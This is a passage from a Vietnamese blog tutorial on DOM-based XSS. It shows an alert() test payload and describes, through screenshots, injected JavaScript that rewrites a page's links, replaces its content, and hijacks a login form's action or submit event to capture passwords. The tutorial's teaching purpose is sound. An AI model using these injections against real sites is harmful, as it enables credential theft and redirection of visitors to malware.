<span lang="FR">Ta thấy dòng <b>Status </b>sẽ thay đổi, OK vậy là có in lại truy vấn, giờ ta thử thay bằng đoạn <b>JavaScript</b> cơ bản để <b>Test XSS</b>:</span></div>
<br style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px;" />
<blockquote class="tr_bq" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px;">
<div class="Quote">
<span lang="FR"><script>alert("XSS")</script></span></div>
</blockquote>
<div class="separator" style="background-color: rgba(0, 0, 0, 0.258824); clear: both; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEin4SKvDSvrnOw622VWsG39Qjwqjn2uHbImk7lwGlsllUfRsG246aaHq11E6_Ga9oitmGoZuzT2HuIiPAnOO_GBbXAMcP_qErpyiQTll8dP_RkVSTIbnYvkFHUV3ixx2jdX1RB3DJ6d89IU/s1600/DOM5.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-decoration: none;"><span style="color: black;"><img alt="DOM5" border="0" height="208" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEin4SKvDSvrnOw622VWsG39Qjwqjn2uHbImk7lwGlsllUfRsG246aaHq11E6_Ga9oitmGoZuzT2HuIiPAnOO_GBbXAMcP_qErpyiQTll8dP_RkVSTIbnYvkFHUV3ixx2jdX1RB3DJ6d89IU/s1600/DOM5.PNG" style="-webkit-box-shadow: rgba(0, 0, 0, 0.2) 0px 0px 0px; background: rgb(34, 34, 34); border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; border: 1px solid transparent; box-shadow: rgba(0, 0, 0, 0.2) 0px 0px 0px; padding: 8px; position: relative;" width="400" /></span></a></div>
<div style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
<br /></div>
<br style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px;" />
<div align="center" class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
<span lang="VI"></span><span lang="FR"></span></div>
<div align="center" class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
<br /></div>
<div class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px;">
<span lang="FR">Một hộp thoại thông báo hiện lên, như vậy là nạn nhân đã dính <b>XSS</b>. Chúng ta bắt đầu đi vào vấn đề chính của ngày hôm nay: <b>DOM-Base XSS</b>. Trước khi tiếp tục, mình sẽ thêm vào trang một đoạn code chứa các links như sau:</span></div>
<div class="separator" style="background-color: rgba(0, 0, 0, 0.258824); clear: both; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBiaIj2y2d1VieXNYDP55VSm8zlg-e5khE8gtolJPA-6dHKyrAo-GIMlRE8w2UgR2kBylbofHK5OR_BqXoAIPPQ2rGW12RLTGzJXYfwcgBkBMGRCdDw2Qhs77OSBbmDRmaLC0LRKeUKYR1/s1600/DOM6.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-decoration: none;"><span style="color: black;"><img alt="DOM6" border="0" height="380" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBiaIj2y2d1VieXNYDP55VSm8zlg-e5khE8gtolJPA-6dHKyrAo-GIMlRE8w2UgR2kBylbofHK5OR_BqXoAIPPQ2rGW12RLTGzJXYfwcgBkBMGRCdDw2Qhs77OSBbmDRmaLC0LRKeUKYR1/s1600/DOM6.PNG" style="-webkit-box-shadow: rgba(0, 0, 0, 0.2) 0px 0px 0px; background: rgb(34, 34, 34); border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; border: 1px solid transparent; box-shadow: rgba(0, 0, 0, 0.2) 0px 0px 0px; padding: 8px; position: relative;" width="400" /></span></a></div>
<div class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
<br /></div>
<div align="center" class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
<span lang="VI"></span><span lang="FR"></span></div>
<div align="center" class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
<br /></div>
<div class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px;">
<span lang="FR">OK, đoạn code trên sẽ mô phỏng các liên kết trên trang dính lỗi bảo mật như <b>Menu</b>, <b>Footer</b> hoặc các liên kết tới bài viết. Chúng ta đi vào ví dụ 1 về <b>DOM-Base XSS</b>:</span></div>
<div class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
<span lang="FR"><br /></span></div>
<h1 style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; margin: 0px; position: relative;">
<span style="font-size: medium;"><span lang="FR">Ví dụ 1: Thay đổi toàn bộ liên kết trong một trang web dính lỗi</span></span></h1>
<div class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
<br /></div>
<div class="separator" style="background-color: rgba(0, 0, 0, 0.258824); clear: both; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhg5hsDV1OESU4GQoRilkDI4u8RODuBv75JrT18R89U6aLuJenpeOMg1azlnNnf_o8kog7CWNybjQ2l3aasBKYtz0dQ9dPbeoEDthc1rZrfDUYcI5S_5pYUoiwt3nVkf08Srr2oV-bHZuBj/s1600/DOM7.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-decoration: none;"><span style="color: black;"><img alt="DOM7" border="0" height="206" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhg5hsDV1OESU4GQoRilkDI4u8RODuBv75JrT18R89U6aLuJenpeOMg1azlnNnf_o8kog7CWNybjQ2l3aasBKYtz0dQ9dPbeoEDthc1rZrfDUYcI5S_5pYUoiwt3nVkf08Srr2oV-bHZuBj/s1600/DOM7.PNG" style="-webkit-box-shadow: rgba(0, 0, 0, 0.2) 0px 0px 0px; background: rgb(34, 34, 34); border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; border: 1px solid transparent; box-shadow: rgba(0, 0, 0, 0.2) 0px 0px 0px; padding: 8px; position: relative;" width="400" /></span></a></div>
<br style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px;" />
<div align="center" class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
<span lang="VI"></span></div>
<div align="center" class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
<br /></div>
<div align="center" class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
<span lang="FR">Kết quả sau khi Inject:</span></div>
<div align="center" class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
<span lang="VI"></span></div>
<div class="separator" style="background-color: rgba(0, 0, 0, 0.258824); clear: both; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaPodHJu0AkTQ1EJFJAkI5r0_10wJJLbaoDlUSnNg_oVbK-47MB1TViSDflxeuT92znuIz-VMpSxfiyIjTihrOrwusLvVzYmtOv9Z79QxFqehA2uc9QE55WmM65OpFujX654Ld4KGVkk8V/s1600/DOM8.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-decoration: none;"><span style="color: black;"><img alt="DOM8" border="0" height="361" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaPodHJu0AkTQ1EJFJAkI5r0_10wJJLbaoDlUSnNg_oVbK-47MB1TViSDflxeuT92znuIz-VMpSxfiyIjTihrOrwusLvVzYmtOv9Z79QxFqehA2uc9QE55WmM65OpFujX654Ld4KGVkk8V/s1600/DOM8.png" style="-webkit-box-shadow: rgba(0, 0, 0, 0.2) 0px 0px 0px; background: rgb(34, 34, 34); border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; border: 1px solid transparent; box-shadow: rgba(0, 0, 0, 0.2) 0px 0px 0px; padding: 8px; position: relative;" width="400" /></span></a></div>
<div align="center" class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
<br /></div>
<div align="center" class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
<br /></div>
<div class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px;">
<span lang="FR">Như các bạn thấy trong hình, khi ta trỏ con trỏ vào một link bất kì thì thanh <b>Status</b> của trình duyệt sẽ hiển thị liên kết mục tiêu – và trong hình trên liên kết đã thay đổi thành địa chỉ của <b><a href="http://junookyo.blogspot.com/" style="text-decoration: none;">Juno_okyo’s Blog</a> </b>và khi ta <b>Inspect Element</b> bằng <b>Firebug</b> thì toàn bộ <b>Link từ 1 tới 10</b> đều đã chuyển thành<a href="http://junookyo.blogspot.com/" style="text-decoration: none;">http://junookyo.blogspot.com/</a>. OK vậy là chỉ với một vòng lặp <b>For</b> đơn giản, ta đã <b>Inject</b> và thay đổi toàn bộ liên kết trong trang web dính lỗi về một địa chỉ mà ta muốn.</span></div>
<div class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px;">
<br /></div>
<div class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px;">
<span lang="FR">Mở rộng ra, nếu xét trường hợp thực tế thì sẽ ra sao nếu <b>Hacker/Attacker</b> chèn đoạn mã độc thay đổi toàn bộ liên kết trong trang thành địa chỉ chứa mã độc, tệp tin chứa <b>Virus/Malware</b>,… ? Điều này sẽ thực sự rất rất nguy hiểm nếu trang web dính lỗi lại là một trang web có lưu lượng truy cập lớn thì sự ảnh hưởng của nó sẽ khó mà tránh khỏi.</span></div>
<div class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px;">
<br /></div>
<h1 style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; margin: 0px; position: relative;">
<span style="font-size: medium;"><span lang="FR">Ví dụ 2: Thay đổi toàn bộ nội dung của một trang chỉ với một click từ người dùng</span></span></h1>
<div align="center" class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
<span lang="FR">Ta sẽ thay đổi lại một chút đoạn vòng lặp trong ví dụ 1 như sau:</span></div>
<div align="center" class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
<span lang="VI"></span></div>
<div class="separator" style="background-color: rgba(0, 0, 0, 0.258824); clear: both; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjY-Q837R6mhahlGzCbbntS8Yyv-IZMiquzfQG6nr4XmDf4ERFFB5UC70pi8k0BLVWZwxi6m2ozvfaftT1nP6L3MAof2p_-8v40JowAuTmi-La6c1jZyV1va_Ps3nn27p4HX8UhOREYA1u4/s1600/DOM9.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-decoration: none;"><span style="color: black;"><img alt="DOM9" border="0" height="216" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjY-Q837R6mhahlGzCbbntS8Yyv-IZMiquzfQG6nr4XmDf4ERFFB5UC70pi8k0BLVWZwxi6m2ozvfaftT1nP6L3MAof2p_-8v40JowAuTmi-La6c1jZyV1va_Ps3nn27p4HX8UhOREYA1u4/s1600/DOM9.png" style="-webkit-box-shadow: rgba(0, 0, 0, 0.2) 0px 0px 0px; background: rgb(34, 34, 34); border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; border: 1px solid transparent; box-shadow: rgba(0, 0, 0, 0.2) 0px 0px 0px; padding: 8px; position: relative;" width="400" /></span></a></div>
<div align="center" class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
<br /></div>
<div align="center" class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
<br /></div>
<div align="center" class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
<span lang="FR">Sau khi Inject xong, trong trường hợp người dùng truy cập vào trang đã bị <b>Inject</b> và click vào một liên kết bất kì trong trang thì hãy xem chuyện gì sẽ xảy ra:</span></div>
<div align="center" class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
<span lang="VI"></span></div>
<div class="separator" style="background-color: rgba(0, 0, 0, 0.258824); clear: both; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiuemUXEk581Ad__DdzB5k9OojO1Ah6vZHD9k2RivaoWuLL-tm1RBJ1Ys1QBM1R_lV2hWrqjo_wMwtQkguPAt4e9JzgVM7dLtiYgTdom5C159cVmYub6TVlnOCocbMJY9ydVzcy1gARkLRH/s1600/DOM10.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-decoration: none;"><span style="color: black;"><img alt="DOM10" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiuemUXEk581Ad__DdzB5k9OojO1Ah6vZHD9k2RivaoWuLL-tm1RBJ1Ys1QBM1R_lV2hWrqjo_wMwtQkguPAt4e9JzgVM7dLtiYgTdom5C159cVmYub6TVlnOCocbMJY9ydVzcy1gARkLRH/s1600/DOM10.png" style="-webkit-box-shadow: rgba(0, 0, 0, 0.2) 0px 0px 0px; background: rgb(34, 34, 34); border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; border: 1px solid transparent; box-shadow: rgba(0, 0, 0, 0.2) 0px 0px 0px; padding: 8px; position: relative;" /></span></a></div>
<div align="center" class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
<br /></div>
<div align="center" class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
<br /></div>
<div align="center" class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
<span lang="FR">WOW, <b>URL</b> của trang thì vẫn bình thường không bị chuyển hướng đi đâu cả. Nhưng cả trang web chỉ còn lại vẻn vẹn một đoạn Text « <b>I am Juno_okyo</b> ». Các bạn đã thấy <b>JavaScript</b> tương tác với <b>DOM</b>mạnh như nào rồi chứ?</span></div>
<div align="center" class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
<br /></div>
<h1 style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; margin: 0px; position: relative;">
<span style="font-size: medium;"><span lang="FR">Ví dụ 3: thay đổi tệp tin xử lý của Form trong trang</span></span></h1>
<div class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px;">
<span lang="FR">Trong ví dụ 3, chúng ta sẽ <b>Inject</b> một đoạn <b>JavaScript</b> thay đổi giá trị thuộc tính mục tiêu xử lý của<b>Form</b> (thuộc tính <b>action</b>). Trong hình đầu tiên các bạn sẽ thấy <b>action</b> hiện tại đang là <b>index.php</b>:</span></div>
<div class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px;">
<span lang="VI"></span></div>
<div class="separator" style="background-color: rgba(0, 0, 0, 0.258824); clear: both; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjelxmgql4QN4bWqjFabsjdutX0MngSEMZIfIHO5sxnLrZXSARZ6FFwSdd0wnbbM_iPd0bX9FIfahmxSnwQDQ3r-mXYUezr7bPGBLqHRO4oyz_ZDMp3mbbiVSH-mBU1opIA621Mkfyj_Lc/s1600/DOM11.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-decoration: none;"><span style="color: black;"><img alt="DOM11" border="0" height="361" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjelxmgql4QN4bWqjFabsjdutX0MngSEMZIfIHO5sxnLrZXSARZ6FFwSdd0wnbbM_iPd0bX9FIfahmxSnwQDQ3r-mXYUezr7bPGBLqHRO4oyz_ZDMp3mbbiVSH-mBU1opIA621Mkfyj_Lc/s1600/DOM11.png" style="-webkit-box-shadow: rgba(0, 0, 0, 0.2) 0px 0px 0px; background: rgb(34, 34, 34); border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; border: 1px solid transparent; box-shadow: rgba(0, 0, 0, 0.2) 0px 0px 0px; padding: 8px; position: relative;" width="400" /></span></a></div>
<div class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
<span lang="FR"><br /></span></div>
<div class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px;">
<br /></div>
<div class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px;">
<span lang="FR">Kết quả sau khi <b>Inject</b>, <b>action</b> của <b>Form</b> đã chuyển thành « <b>juno_okyo.php</b> »:</span></div>
<div align="center" class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
<span lang="VI"></span></div>
<div class="separator" style="background-color: rgba(0, 0, 0, 0.258824); clear: both; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_nPjq87rLo1bR0EpZcJ8f1LRLMrOaC-o-9l1tj_t99F3zFz7kQZZFkmsjcTjUVAPypf30zLfOjcQvZS_7C0_XTIKNCLSgYH6B_T5ztSIg3cRWbNAfyPqQG0N5m4b-6fuqM4tq-1pUB0es/s1600/DOM12.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-decoration: none;"><span style="color: black;"><img alt="DOM12" border="0" height="361" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_nPjq87rLo1bR0EpZcJ8f1LRLMrOaC-o-9l1tj_t99F3zFz7kQZZFkmsjcTjUVAPypf30zLfOjcQvZS_7C0_XTIKNCLSgYH6B_T5ztSIg3cRWbNAfyPqQG0N5m4b-6fuqM4tq-1pUB0es/s1600/DOM12.png" style="-webkit-box-shadow: rgba(0, 0, 0, 0.2) 0px 0px 0px; background: rgb(34, 34, 34); border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; border: 1px solid transparent; box-shadow: rgba(0, 0, 0, 0.2) 0px 0px 0px; padding: 8px; position: relative;" width="400" /></span></a></div>
<div align="center" class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
<br /></div>
<div align="center" class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
<br /></div>
<div class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px;">
<span lang="FR">Mở rộng từ ví dụ 3: xét theo trường hợp nếu một trang đăng nhập bị dính lỗi bảo mật <b>XSS</b> sẽ nguy hiểm như nào? <b>Hacker/Attacker</b> có thể thay đổi <b>action</b> sang một tệp <b>PHP</b> khác xử lý các giá trị nhận được bao gồm <b>tài khoản</b>, <b>mật khẩu</b> thậm chí là các <b>thông tin nhạy cảm</b> khác tùy vào nơi dính lỗ hổng <b>XSS</b>là khu vực đăng nhập, đăng ký, thanh toán,… <b>Hacker/Attacker</b> hoàn toàn có thể lưu lại (<b>log</b>) sau đó giả mạo việc đăng nhập bằng cách gửi trả (POST) dữ liệu tới tệp tin xử lý thật của<b> Form</b> ban đầu.</span></div>
<div class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px;">
<br /></div>
<h1 style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; margin: 0px; position: relative;">
<span style="font-size: medium;"><span lang="FR">Ví dụ 4: Đặt bẫy sự kiện trong trang dính lỗi</span></span></h1>
<div class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px;">
<span lang="FR">Như chúng ta đều biết thì <b>JavaScript</b> là một ngôn ngữ kịch bản, có khả năng bắt và xử lý các sự kiện từ người dùng (khi trang đang tải, khi có một phím được nhấn, khi con trỏ di chuyển hay click, khi một Form nào đó được Submit,…). Trong ví dụ này, <b>Juno_okyo</b> sẽ đặt bẫy khi người dùng nhấn vào nút<b>Save Status</b> – tức là khi <b>Form</b> trên trang được <b>Submit</b>:</span></div>
<div class="separator" style="background-color: rgba(0, 0, 0, 0.258824); clear: both; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtljtczVwDmDUuHsitl4WepJ7d3QztCJl30GeqXeOrDLxvXcf9eDib3m-xUZgh1j3qmhoW9DbKnxc1KsM3HXzcXlnIidAPmaOyUdFsXjRH68NUSRDBaxu6ogDM50gY6t7PEYT9x2jPlFr-/s1600/DOM13.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-decoration: none;"><span style="color: black;"><img alt="DOM13" border="0" height="235" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtljtczVwDmDUuHsitl4WepJ7d3QztCJl30GeqXeOrDLxvXcf9eDib3m-xUZgh1j3qmhoW9DbKnxc1KsM3HXzcXlnIidAPmaOyUdFsXjRH68NUSRDBaxu6ogDM50gY6t7PEYT9x2jPlFr-/s1600/DOM13.png" style="-webkit-box-shadow: rgba(0, 0, 0, 0.2) 0px 0px 0px; background: rgb(34, 34, 34); border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; border: 1px solid transparent; box-shadow: rgba(0, 0, 0, 0.2) 0px 0px 0px; padding: 8px; position: relative;" width="400" /></span></a></div>
<div class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
<br /></div>
<div align="center" class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
<span lang="VI"></span></div>
<div align="center" class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
<br /></div>
<div class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px;">
<span lang="FR">Sau khi nhấn <b>Save</b>, đoạn mã đã được <b>Inject</b> vào trong trang sẽ thiết lập thêm thuộc tính <b>OnSubmit</b> vào<b>Form</b> để bẫy sự kiện mỗi khi người dùng nhấn vào <b>Save Status</b>. Kết quả:</span></div>
<div class="separator" style="background-color: rgba(0, 0, 0, 0.258824); clear: both; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsmbVvrJA4F3jLu5Di7IzdbXafptNVDa5_cJcFfemWysJt8hZIWHUViKXEFrYiTdoqdxEJ1bYhNrSrJ4NwLO0EZFPljOLzXpRDqTAvrTgUitGxS0hfZHBpvLDCyQ724ihga9XH4hw5uRKp/s1600/DOM14.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-decoration: none;"><span style="color: black;"><img alt="DOM14" border="0" height="345" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsmbVvrJA4F3jLu5Di7IzdbXafptNVDa5_cJcFfemWysJt8hZIWHUViKXEFrYiTdoqdxEJ1bYhNrSrJ4NwLO0EZFPljOLzXpRDqTAvrTgUitGxS0hfZHBpvLDCyQ724ihga9XH4hw5uRKp/s1600/DOM14.png" style="-webkit-box-shadow: rgba(0, 0, 0, 0.2) 0px 0px 0px; background: rgb(34, 34, 34); border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; border: 1px solid transparent; box-shadow: rgba(0, 0, 0, 0.2) 0px 0px 0px; padding: 8px; position: relative;" width="400" /></span></a></div>
